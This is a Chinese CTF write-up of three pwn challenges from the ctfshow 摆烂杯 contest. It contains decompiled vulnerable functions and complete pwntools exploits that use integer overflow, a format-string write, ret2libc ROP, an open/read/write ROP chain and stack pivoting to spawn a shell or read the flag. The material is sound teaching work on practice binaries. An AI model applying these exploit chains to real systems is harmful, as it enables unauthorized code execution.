ctfshow-摆烂杯-pwn-ak

一句话,环境害死人,再说一句话,不要半夜做题,脑子容易抽.

dota

虽然这个是个签到题,但是我是放在最后面做的。。。。因为一开始忘记了int的上限懒得百度了,后面的两个题本地秒了,但是远程因为libc的问题影响了bss段的偏移(以后做题还是先patch了再做)一开始没想起来还有就是远程的orw好像因为吐的数据太多吐不出还是咋的,反正改成了orp就活了

回到这题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[268]; // [rsp+0h] [rbp-110h] BYREF
int v5; // [rsp+10Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(asc_400AE0);
puts("-----------------------------------------------");
puts(&byte_400B40);
puts("-----------------------------------------------");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "dota") )
{
puts(&byte_400B91);
exit(0);
}
puts(&byte_400BA3);
puts("----------------------------------------------------------------------------------------");
puts(&byte_400C18);
puts("----------------------------------------------------------------------------------------");
puts(&byte_400CA0);
__isoc99_scanf("%d", &v5);
if ( v5 < 0 )
{
v5 = -v5;
if ( v5 < 0 )
firstBlood();
}
return 0;
}

int整型溢出输入2147483648直接绕过来到后门,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t firstBlood()
{
int v1; // [rsp+Ch] [rbp-104h] BYREF
char format[128]; // [rsp+10h] [rbp-100h] BYREF
char buf[128]; // [rsp+90h] [rbp-80h] BYREF

v1 = 666;
puts("-------------------------------------------------------------");
puts(&byte_400A18);
puts("-------------------------------------------------------------");
puts(&byte_400A78);
printf("%p\n", &v1);
__isoc99_scanf("%s", format);
printf(format);
if ( v1 != 25 )
{
puts("猜得不对喔.");
exit(0);
}
puts(&asc_400AB2);
return read(0, buf, 0x100uLL);
}

可以看见给了v1的地址,有格式化直接%25c%9$n+p64(leak)改内容为25,偏移的话我是jio本爆破得到是9 gdb format弄的不太准

然后直接栈溢出基础rop(我脑抽rdi弄成了别的题,搞半天打不通还蛋疼的玩了下栈迁移笑死)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#encoding=utf-8
from pwn import *
elf=ELF('./do')
#context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
'''
0x00000000004009ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009b0 : pop r14 ; pop r15 ; ret
0x00000000004009b2 : pop r15 ; ret
0x00000000004009ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009af : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b8 : pop rbp ; ret
0x00000000004009b3 : pop rdi ; ret
0x00000000004009b1 : pop rsi ; pop r15 ; ret
0x00000000004009ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ce : ret
'''
rdi=0x00000000004009b3
rsi=0x00000000004009b2
def pwn(sb):
r.recv()
r.sendline('dota'+'\x00'*(96))
r.recv()
r.sendline("2147483648")
r.recvuntil("多少?\n")
leak=int(r.recv(15),16)
#print(hex(leak))
#gdb.attach(r,"b *0x04007B2")
pa="%25c%"+str(sb)+"$n"+p64(leak)
r.sendline(pa)
bss=0x602100
ret=0x400811
r=process('./do')
r=remote('pwn.challenge.ctf.show','28040')
pwn(9)
r.recvuntil("奖励你!\n")
pay='\x00'*0x88+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400812)
#gdb.attach(r)
r.send(pay)
libc_base=u64(r.recv(6)+'\x00'*2)-0x0809c0
print(hex(libc_base))
system=libc_base+0x04f440
sh=libc_base+0x1b3e9a
pwn(9)
r.recvuntil("奖励你!\n")
pay='\x00'*0x88+p64(rdi)+p64(sh)+p64(ret)+p64(system)
r.send(pay)
r.interactive()

CET4

一般般吧这个题,orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [rsp+0h] [rbp-40h] BYREF
char buf[4]; // [rsp+38h] [rbp-8h] BYREF
unsigned int seconds; // [rsp+3Ch] [rbp-4h]

seconds = 4096;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sandbox();
puts("------Welcome to CET4------");
puts("The exam begins!!!");
puts("your name:");
read(0, buf, 8uLL);
sleep(seconds);
puts("The exam is over!!!");
puts("QAQ:How was your test???");
read(0, v4, 0x100uLL);
return 0;
}

时间那直接填8个0字节绕过,溢出非常大。

直接rop了个read往bss段写入flag字符串,然后syscall个open打开flag再来个read读入,最后put输出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
context.arch='amd64'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./ce')
'''
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401278 : ret 0x2be

'''
r=process('./ce')
#r=remote('pwn.challenge.ctf.show','28137')
#libc=ELF('libc6_2.30-0ubuntu2_amd64.so')
r.recvuntil("your name:\n")
r.send('\x00'*8)
r.recvuntil("test???\n")
mmap_place=0x404060
bss=0x404300
rdi=0x00000000004013d3
rsi=0x00000000004013d1
pay='a'*0x48+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401290)
r.send(pay)
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
libc_base=leak-libc.sym['puts']
print(hex(libc_base))
r.recvuntil("your name:\n")
r.send('\x00'*8)
r.recvuntil("test???\n")
pay3='a'*0x48+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x401290)
r.send(pay3)
r.send('flag')


r.recvuntil("your name:\n")
r.send('\x00'*8)
r.recvuntil("test???\n")
pay1='a'*0x48+p64(rdi)+p64(0x2)+p64(rsi)+p64(bss)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(0x40)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(bss)+p64(libc_base+libc.sym['puts'])+p64(0x401290)
#gdb.attach(r,'b *0x40135B')
r.send(pay1)
r.interactive()

CET6

就普普通通栈迁移,不过不能用我发的文章里的那几种,也不是说不能吧,反正bss段的寻找会找傻逼了我,我推荐这种也学下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./cc')
'''
0x00000000004012ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012f0 : pop r14 ; pop r15 ; ret
0x00000000004012f2 : pop r15 ; ret
0x00000000004012eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ef : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012f3 : pop rdi ; ret
0x00000000004012f1 : pop rsi ; pop r15 ; ret
0x00000000004012ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004011aa : ret 0xfffe
'''
ret=0x000000000040101a
rdi=0x00000000004012f3
bss=0x404000+0x700
leave=0x401281
r=process('./cc')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#r=remote('pwn.challenge.ctf.show','28123')
#libc=ELF('libc6_2.30-0ubuntu2_amd64.so')
r.recvuntil("your name:\n")
r.send('\x00'*8)
r.recvuntil("test???\n")
pl=b'a'*0x40+p64(bss)+p64(0x4011AE)

r.send(pl)
pl=b'a'*0x40+p64(bss+0x40)+p64(0x4011AE)

r.send(pl)
pl=p64(bss+0x50)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401196)
r.send(pl)
libc_base=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh'))
print(hex(system))
print(hex(sh))
pl=b'a'*0x40+p64(bss+0x60)+p64(0x4011AE)
r.recv()
r.send(pl)
#gdb.attach(r)
pl=p64(0x400368)+p64(rdi)+p64(sh)+p64(ret)+p64(system)#p64(0x400368)这个爱填什么填什么反正用来抬栈的玩意满足8字节就好了
r.send(pl)
r.interactive()

总结,题目整体还是比较适合中等层次的练习的,还不错,特别是签到题,非常综合,反正ctf现在搞来搞去和应试都快没差了

天天玩glibc各种考点考点,卷的要死=-=,run了.

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021-2023 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信